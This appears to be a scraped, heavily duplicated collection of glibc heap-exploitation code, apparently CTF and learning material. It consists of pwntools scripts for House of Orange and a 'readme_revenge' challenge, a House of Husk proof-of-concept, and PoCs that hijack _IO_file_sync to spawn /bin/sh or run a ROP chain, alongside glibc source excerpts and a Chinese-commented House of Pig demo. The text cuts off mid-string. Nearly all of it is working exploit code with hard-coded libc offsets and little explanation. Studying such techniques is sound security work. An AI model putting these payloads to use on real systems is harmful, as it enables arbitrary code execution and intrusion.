vtable_addr
=
libc_base
+
0x3BE4C0
# _IO_str_jumps
log.info(
"_IO_list_all address: 0x%x"
%
io_list_all)
log.info(
"system address: 0x%x"
%
system_addr)
log.info(
"/bin/sh address: 0x%x"
%
bin_sh_addr)
log.info(
"vtable address: 0x%x"
%
vtable_addr)
_IO_buf_end
=
(bin_sh_addr
-
100
)
/
/
2
stream
=
p64(
0
)
+
p64(
0x61
)
# fake header, fp->_flags, fp->_IO_read_ptr
stream
+
=
p64(
0
)
+
p64(io_list_all
-
0x10
)
# fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
stream
+
=
p64(
0
)
# fp->_IO_write_base
stream
+
=
p64(
0xffffffffffffffff
)
# fp->_IO_write_ptr
stream
+
=
p64(
0
)
*
2
# fp->_IO_write_end, fp->_IO_buf_base
stream
+
=
p64(_IO_buf_end)
# fp->_IO_buf_end
stream
=
stream.ljust(
0xc0
, b
'\x00'
)
stream
+
=
p64(
0
)
# fp->_mode
payload
=
b
'A'
*
0x10
payload
+
=
stream
payload
+
=
p64(
0
)
*
2
payload
+
=
p64(vtable_addr)
# _IO_FILE_plus->vtable # 0xd8
payload
+
=
p64(system_addr)
# 0xe0
gdb.attach(io,
'b *0x400810'
)
prf(
16
, payload)
io.sendline(b
"0x1000"
)
# abort routine
pause()
def
house_of_orange():
io_list_all
=
libc_base
+
libc.symbols[
'_IO_list_all'
]
system_addr
=
libc_base
+
libc.symbols[
'system'
]
bin_sh_addr
=
libc_base
+
next
(libc.search(b
'/bin/sh\x00'
))
vtable_addr
=
libc_base
+
0x3BE4C0
# _IO_str_jumps
log.info(
"_IO_list_all address: 0x%x"
%
io_list_all)
log.info(
"system address: 0x%x"
%
system_addr)
log.info(
"/bin/sh address: 0x%x"
%
bin_sh_addr)
log.info(
"vtable address: 0x%x"
%
vtable_addr)
_IO_buf_end
=
(bin_sh_addr
-
100
)
/
/
2
stream
=
p64(
0
)
+
p64(
0x61
)
# fake header, fp->_flags, fp->_IO_read_ptr
stream
+
=
p64(
0
)
+
p64(io_list_all
-
0x10
)
# fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
stream
+
=
p64(
0
)
# fp->_IO_write_base
stream
+
=
p64(
0xffffffffffffffff
)
# fp->_IO_write_ptr
stream
+
=
p64(
0
)
*
2
# fp->_IO_write_end, fp->_IO_buf_base
stream
+
=
p64(_IO_buf_end)
# fp->_IO_buf_end
stream
=
stream.ljust(
0xc0
, b
'\x00'
)
stream
+
=
p64(
0
)
# fp->_mode
payload
=
b
'A'
*
0x10
payload
+
=
stream
payload
+
=
p64(
0
)
*
2
payload
+
=
p64(vtable_addr)
# _IO_FILE_plus->vtable # 0xd8
payload
+
=
p64(system_addr)
# 0xe0
gdb.attach(io,
'b *0x400810'
)
prf(
16
, payload)
io.sendline(b
"0x1000"
)
# abort routine
pause()
int
__register_printf_function (
int
spec, printf_function converter, printf_arginfo_function arginfo)
{
return
__register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (
int
spec, printf_function converter, printf_arginfo_size_function arginfo)
{
// 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
if
(spec < 0 || spec > (
int
) UCHAR_MAX)
{
__set_errno (EINVAL);
return
-1;
}
int
result = 0;
__libc_lock_lock (lock);
if
(__printf_function_table == NULL)
{
// 若spec为空,程序则会通过calloc分配两个堆地址来存放
// __printf_arginfo_table和__printf_function_table
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc
(UCHAR_MAX + 1,
sizeof
(
void
*) * 2);
if
(__printf_arginfo_table == NULL)
{
result = -1;
goto
out;
}
__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return
result;
}
int
__register_printf_function (
int
spec, printf_function converter, printf_arginfo_function arginfo)
{
return
__register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (
int
spec, printf_function converter, printf_arginfo_size_function arginfo)
{
// 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
if
(spec < 0 || spec > (
int
) UCHAR_MAX)
{
__set_errno (EINVAL);
return
-1;
}
int
result = 0;
__libc_lock_lock (lock);
if
(__printf_function_table == NULL)
{
// 若spec为空,程序则会通过calloc分配两个堆地址来存放
// __printf_arginfo_table和__printf_function_table
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc
(UCHAR_MAX + 1,
sizeof
(
void
*) * 2);
if
(__printf_arginfo_table == NULL)
{
result = -1;
goto
out;
}
__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return
result;
}
int
__printf (
const
char
*format, ...)
{
va_list
arg;
int
done;
va_start
(arg, format);
done =
vfprintf
(stdout, format, arg);
va_end
(arg);
return
done;
}
int
vfprintf
(
FILE
*s,
const
CHAR_T *format,
va_list
ap)
{
...
if
(__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto
do_positional;
...
do_positional:
...
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
...
}
static
int
printf_positional (_IO_FILE *s,
const
CHAR_T *format,
int
readonly_format,
va_list
ap,
va_list
*ap_savep,
int
done,
int
nspecs_done,
const
UCHAR_T *lead_str_end,
CHAR_T *work_buffer,
int
save_errno,
const
char
*grouping, THOUSANDS_SEP_T thousands_sep)
{
...
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
...
extern
printf_function **__printf_function_table;
int
function_done;
if
(spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(
size_t
) spec] != NULL)
{
const
void
**ptr = alloca (specs[nspecs_done].ndata_args
*
sizeof
(
const
void
*));
/* Fill in an array of pointers to the argument values. */
for
(unsigned
int
i = 0; i < specs[nspecs_done].ndata_args; ++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */
function_done = __printf_function_table[(
size_t
) spec](s, &specs[nspecs_done].info, ptr);
...
}
}
size_t
attribute_hidden
__parse_one_specmb (
const
UCHAR_T *format,
size_t
posn,
struct
printf_spec *spec,
size_t
*max_ref_arg)
{
...
if
(__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (
int
) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
...
}
int
__printf (
const
char
*format, ...)
{
va_list
arg;
int
done;
va_start
(arg, format);
done =
vfprintf
(stdout, format, arg);
va_end
(arg);
return
done;
}
int
vfprintf
(
FILE
*s,
const
CHAR_T *format,
va_list
ap)
{
...
if
(__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto
do_positional;
...
do_positional:
...
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
...
}
static
int
printf_positional (_IO_FILE *s,
const
CHAR_T *format,
int
readonly_format,
va_list
ap,
va_list
*ap_savep,
int
done,
int
nspecs_done,
const
UCHAR_T *lead_str_end,
CHAR_T *work_buffer,
int
save_errno,
const
char
*grouping, THOUSANDS_SEP_T thousands_sep)
{
...
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
...
extern
printf_function **__printf_function_table;
int
function_done;
if
(spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(
size_t
) spec] != NULL)
{
const
void
**ptr = alloca (specs[nspecs_done].ndata_args
*
sizeof
(
const
void
*));
/* Fill in an array of pointers to the argument values. */
for
(unsigned
int
i = 0; i < specs[nspecs_done].ndata_args; ++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */
function_done = __printf_function_table[(
size_t
) spec](s, &specs[nspecs_done].info, ptr);
...
}
}
size_t
attribute_hidden
__parse_one_specmb (
const
UCHAR_T *format,
size_t
posn,
struct
printf_spec *spec,
size_t
*max_ref_arg)
{
...
if
(__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (
int
) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
...
}
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc
int
main (
void
)
{
unsigned
long
libc_base;
char
*a[10];
setbuf
(stdout, NULL);
// make printf quiet
/* leak libc */
a[0] =
malloc
(0x500);
/* UAF chunk */
a[1] =
malloc
(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] =
malloc
(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] =
malloc
(0x500);
/* avoid consolidation */
free
(a[0]);
// unsorted bin 泄露 libc
libc_base = *(unsigned
long
*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf
(
"libc @ 0x%lx\n"
, libc_base);
/* prepare fake printf arginfo table */
/* 'X'-2 mean that prev_size | size */
*(unsigned
long
*)(a[2] + (
'X'
- 2) * 8) = libc_base + ONE_GADGET;
// now __printf_arginfo_table['X'] = one_gadget;
/*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
/* unsorted bin attack */
*(unsigned
long
*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] =
malloc
(0x500);
/* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free
(a[1]);
// __printf_function_table => a heap_addr which is not NULL
free
(a[2]);
// => one_gadget
/* ignite! */
printf
(
"%X"
, 0);
return
0;
}
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc
int
main (
void
)
{
unsigned
long
libc_base;
char
*a[10];
setbuf
(stdout, NULL);
// make printf quiet
/* leak libc */
a[0] =
malloc
(0x500);
/* UAF chunk */
a[1] =
malloc
(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] =
malloc
(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] =
malloc
(0x500);
/* avoid consolidation */
free
(a[0]);
// unsorted bin 泄露 libc
libc_base = *(unsigned
long
*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf
(
"libc @ 0x%lx\n"
, libc_base);
/* prepare fake printf arginfo table */
/* 'X'-2 mean that prev_size | size */
*(unsigned
long
*)(a[2] + (
'X'
- 2) * 8) = libc_base + ONE_GADGET;
// now __printf_arginfo_table['X'] = one_gadget;
/*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
/* unsorted bin attack */
*(unsigned
long
*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] =
malloc
(0x500);
/* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free
(a[1]);
// __printf_function_table => a heap_addr which is not NULL
free
(a[2]);
// => one_gadget
/* ignite! */
printf
(
"%X"
, 0);
return
0;
}
from
pwn
import
*
io
=
process(
'./readme_revenge'
)
flag_addr
=
0x6b4040
name_addr
=
0x6b73e0
argv_addr
=
0x6b7980
func_table
=
0x6b7a28
arginfo_table
=
0x6b7aa8
stack_chk_fail
=
0x4359b0
payload
=
p64(flag_addr)
# name
payload
=
payload.ljust(
0x73
*
8
, b
"\x00"
)
payload
+
=
p64(stack_chk_fail)
# __printf_arginfo_table[spec->info.spec]
payload
=
payload.ljust(argv_addr
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# argv
payload
=
payload.ljust(func_table
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# __printf_function_table
payload
=
payload.ljust(arginfo_table
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# __printf_arginfo_table
gdb.attach(io,
'b *0x400A4C'
)
io.sendline(payload)
pause()
io.interactive()
from
pwn
import
*
io
=
process(
'./readme_revenge'
)
flag_addr
=
0x6b4040
name_addr
=
0x6b73e0
argv_addr
=
0x6b7980
func_table
=
0x6b7a28
arginfo_table
=
0x6b7aa8
stack_chk_fail
=
0x4359b0
payload
=
p64(flag_addr)
# name
payload
=
payload.ljust(
0x73
*
8
, b
"\x00"
)
payload
+
=
p64(stack_chk_fail)
# __printf_arginfo_table[spec->info.spec]
payload
=
payload.ljust(argv_addr
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# argv
payload
=
payload.ljust(func_table
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# __printf_function_table
payload
=
payload.ljust(arginfo_table
-
name_addr, b
"\x00"
)
payload
+
=
p64(name_addr)
# __printf_arginfo_table
gdb.attach(io,
'b *0x400A4C'
)
io.sendline(payload)
pause()
io.interactive()
#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
((expr) \
? ((
void
) 0) \
: __malloc_assert (#expr, __FILE__, __LINE__, __func__))
extern
const
char
*__progname;
static
void
__malloc_assert (
const
char
*assertion,
const
char
*file, unsigned
int
line,
const
char
*function)
{
(
void
) __fxprintf (NULL,
"%s%s%s:%u: %s%sAssertion `%s' failed.\n"
,
__progname, __progname[0] ?
": "
:
""
,
file, line,
function ? function :
""
, function ?
": "
:
""
,
assertion);
fflush
(stderr);
abort
();
}
#endif
#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
((expr) \
? ((
void
) 0) \
: __malloc_assert (#expr, __FILE__, __LINE__, __func__))
extern
const
char
*__progname;
static
void
__malloc_assert (
const
char
*assertion,
const
char
*file, unsigned
int
line,
const
char
*function)
{
(
void
) __fxprintf (NULL,
"%s%s%s:%u: %s%sAssertion `%s' failed.\n"
,
__progname, __progname[0] ?
": "
:
""
,
file, line,
function ? function :
""
, function ?
": "
:
""
,
assertion);
fflush
(stderr);
abort
();
}
#endif
int
_IO_fflush (_IO_FILE *fp)
{
if
(fp == NULL)
return
_IO_flush_all ();
else
{
int
result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return
result;
}
}
int
_IO_fflush (_IO_FILE *fp)
{
if
(fp == NULL)
return
_IO_flush_all ();
else
{
int
result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return
result;
}
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
void
getshell()
{
system
(
"/bin/sh"
);
}
size_t
libc_base;
int
main() {
setvbuf
(stdin,0LL,2,0LL);
setvbuf
(stdout,0LL,2,0LL);
libc_base = ((
size_t
)
setvbuf
) - 0x7a4e0;
size_t
_IO_file_sync = libc_base + 0x1f45e0;
// sync pointer in _IO_file_jumps
*((
size_t
*)_IO_file_sync) = &getshell;
size_t
*top_size = (
size_t
*)((
char
*)
malloc
(0x10) + 0x18);
*top_size = (*top_size)&0xFFE;
malloc
(0x1000);
_exit(-1);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
void
getshell()
{
system
(
"/bin/sh"
);
}
size_t
libc_base;
int
main() {
setvbuf
(stdin,0LL,2,0LL);
setvbuf
(stdout,0LL,2,0LL);
libc_base = ((
size_t
)
setvbuf
) - 0x7a4e0;
size_t
_IO_file_sync = libc_base + 0x1f45e0;
// sync pointer in _IO_file_jumps
*((
size_t
*)_IO_file_sync) = &getshell;
size_t
*top_size = (
size_t
*)((
char
*)
malloc
(0x10) + 0x18);
*top_size = (*top_size)&0xFFE;
malloc
(0x1000);
_exit(-1);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1
size_t
libc_base;
size_t
ROP[0x30];
char
FLAG[] =
"./flag\x00"
;
int
main() {
setvbuf
(stdin,0LL,2,0LL);
setvbuf
(stdout,0LL,2,0LL);
libc_base = ((
size_t
)
setvbuf
) - 0x7a4e0;
size_t
magic_gadget = libc_base + 0x50bd0 + 61;
// setcontext + 61
size_t
_IO_helper_jumps = libc_base + 0x1f3980;
// _IO_helper_jumps
size_t
_IO_file_sync = libc_base + 0x1f45e0;
// sync pointer in _IO_file_jumps
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (
size_t
)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (
size_t
)(FLAG + 0x10);
ROP[i++] = (
size_t
)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (
size_t
)write;
// 设置rsp
*((
size_t
*)_IO_helper_jumps + 0xA0/8) = (
size_t
)ROP;
// 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((
size_t
*)_IO_helper_jumps + 0xA8/8) = ret;
// 设置fflush(stderr)中调用的指令地址
*((
size_t
*)_IO_file_sync) = magic_gadget;
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t
*top_size = (
size_t
*)((
char
*)
malloc
(0x10) + 0x18);
// top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
// 其中有个判断top_chunk的size中inuse位是否存在
*top_size = (*top_size)&0xFFE;
malloc
(0x1000);
// 触发assert
_exit(-1);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1
size_t
libc_base;
size_t
ROP[0x30];
char
FLAG[] =
"./flag\x00"
;
int
main() {
setvbuf
(stdin,0LL,2,0LL);
setvbuf
(stdout,0LL,2,0LL);
libc_base = ((
size_t
)
setvbuf
) - 0x7a4e0;
size_t
magic_gadget = libc_base + 0x50bd0 + 61;
// setcontext + 61
size_t
_IO_helper_jumps = libc_base + 0x1f3980;
// _IO_helper_jumps
size_t
_IO_file_sync = libc_base + 0x1f45e0;
// sync pointer in _IO_file_jumps
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (
size_t
)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (
size_t
)(FLAG + 0x10);
ROP[i++] = (
size_t
)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (
size_t
)write;
// 设置rsp
*((
size_t
*)_IO_helper_jumps + 0xA0/8) = (
size_t
)ROP;
// 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((
size_t
*)_IO_helper_jumps + 0xA8/8) = ret;
// 设置fflush(stderr)中调用的指令地址
*((
size_t
*)_IO_file_sync) = magic_gadget;
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t
*top_size = (
size_t
*)((
char
*)
malloc
(0x10) + 0x18);
// top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
// 其中有个判断top_chunk的size中inuse位是否存在
*top_size = (*top_size)&0xFFE;
malloc
(0x1000);
// 触发assert
_exit(-1);
}
_Noreturn
static
void
__malloc_assert (
const
char
*assertion,
const
char
*file, unsigned
int
line,
const
char
*function)
{
__libc_message (do_abort, "\
Fatal glibc error:
malloc
assertion failure in %s: %s\n",
function, assertion);
__builtin_unreachable ();
}
_Noreturn
static
void
__malloc_assert (
const
char
*assertion,
const
char
*file, unsigned
int
line,
const
char
*function)
{
__libc_message (do_abort, "\
Fatal glibc error:
malloc
assertion failure in %s: %s\n",
function, assertion);
__builtin_unreachable ();
}
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
int
flush_only = c == EOF;
size_t
pos;
if
(fp->_flags & _IO_NO_WRITES)
return
flush_only ? 0 : EOF;
if
((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (
size_t
) (_IO_blen (fp) + flush_only))
{
if
(fp->_flags & _IO_USER_BUF)
/* not allowed to enlarge */
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
// 覆盖到这里
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
// 调用malloc
if
(new_buf == NULL)
{
/* __ferror(fp) = 1; */
return
EOF;
}
if
(old_buf)
{
memcpy
(new_buf, old_buf, old_blen);
// 调用memecpy,覆盖
free
(old_buf);
// 调用free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset
(new_buf + old_blen,
'\0'
, new_size - old_blen);
...
}
}
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (
FILE
*fp,
int
c)
{
int
flush_only = c == EOF;
size_t
pos;
if
(fp->_flags & _IO_NO_WRITES)
return
flush_only ? 0 : EOF;
if
((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if
(pos >= (
size_t
) (_IO_blen (fp) + flush_only))
{
if
(fp->_flags & _IO_USER_BUF)
/* not allowed to enlarge */
return
EOF;
else
{
char
*new_buf;
char
*old_buf = fp->_IO_buf_base;
// 覆盖到这里
size_t
old_blen = _IO_blen (fp);
size_t
new_size = 2 * old_blen + 100;
if
(new_size < old_blen)
return
EOF;
new_buf =
malloc
(new_size);
// 调用malloc
if
(new_buf == NULL)
{
/* __ferror(fp) = 1; */
return
EOF;
}
if
(old_buf)
{
memcpy
(new_buf, old_buf, old_blen);
// 调用memecpy,覆盖
free
(old_buf);
// 调用free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset
(new_buf + old_blen,
'\0'
, new_size - old_blen);
...
}
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"
#define UNDEFINED "-1"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"
#define STR_END "\033[0m"
void
printf_color(
char
* color,
char
* effect,
char
* string){
char
buffer[0x1000] = {0};
strcpy
(buffer,
"\033["
);
if
(effect[0] !=
'-'
){
strcat
(buffer, effect);
strcat
(buffer,
";"
);
}
strcat
(buffer, color);
strcat
(buffer,
"m"
);
strcat
(buffer, string);
printf
(
"%s"
STR_END, buffer);
}
int
main(){
printf_color(GREEN, UNDEFINED,
"今天我们来学习一下house of pig的利用原理。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n"
);
printf_color(GREEN, UNDEFINED,
"首先我们了解一下这种利用方式的基本原理。\n"
);
printf_color(GREEN, UNDEFINED,
"本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n"
);
printf_color(GREEN, UNDEFINED,
"在glibc 2.31下,house of pig需要利用__free__hook。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第一步:获取libc的加载地址及堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n"
);
size_t
puts_addr = (
size_t
)
puts
;
size_t
libc_base = puts_addr - 0x84420;
printf_color(YELLOW, HIGHLIGHT,
"libc的加载地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, libc_base);
printf_color(GREEN, UNDEFINED,
"然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n"
);
size_t
chunk_1 = (
size_t
)
malloc
(0x4F0) - 0x10;
printf_color(YELLOW, HIGHLIGHT,
"获得堆地址为这个chunk的起始地址:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n\n"
STR_END, chunk_1);
printf_color(RED, HIGHLIGHT,
"第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"为了方便起见,本程序直接对__free_hook附近地址进行修改。\n"
);
printf_color(GREEN, UNDEFINED,
"在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n"
);
printf_color(PURPLE, HIGHLIGHT,
"这里在__free_hook-0x10处写入刚才获得的堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"本libc中__free_hook的偏移为0x1EEE48。\n"
);
size_t
__free_hook = libc_base + 0x1EEE48;
printf_color(YELLOW, HIGHLIGHT,
"__free_hook的地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, __free_hook);
size_t
* vuln_1 = (
size_t
*)(__free_hook - 0x8);
// ---------- 第一处漏洞利用 ---------- //
*vuln_1 = chunk_1;
// --------------------------------- //
printf_color(BLUE, HIGHLIGHT,
"第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"本libc中__free_hook的偏移为0x1ED5A0。\n"
);
size_t
* _IO_list_all = (
size_t
*)(libc_base + 0x1ED5A0);
printf_color(GREEN, UNDEFINED,
"_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n"
);
printf_color(GREEN, UNDEFINED,
"在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n"
);
printf_color(GREEN, UNDEFINED,
"exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n"
);
printf_color(GREEN, UNDEFINED,
"下面是_IO_flush_all_lockp的函数定义:\n\n"
);
printf_color(BLUE, HIGHLIGHT,
"(/libio/genops.c, line 684)\n"
);
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_flush_all_lockp (int do_lock)\n"
"{\n"
" int result = 0;\n"
" FILE *fp;\n"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_cleanup_region_start_noarg (flush_cleanup);\n"
" _IO_lock_lock (list_all_lock);\n"
"#endif\n"
"\n"
" \033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
" {\n"
" run_fp = fp;\n"
" if (do_lock)\n"
"\t_IO_flockfile (fp);\n"
"\n"
" if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
"\t || (_IO_vtable_offset (fp) == 0\n"
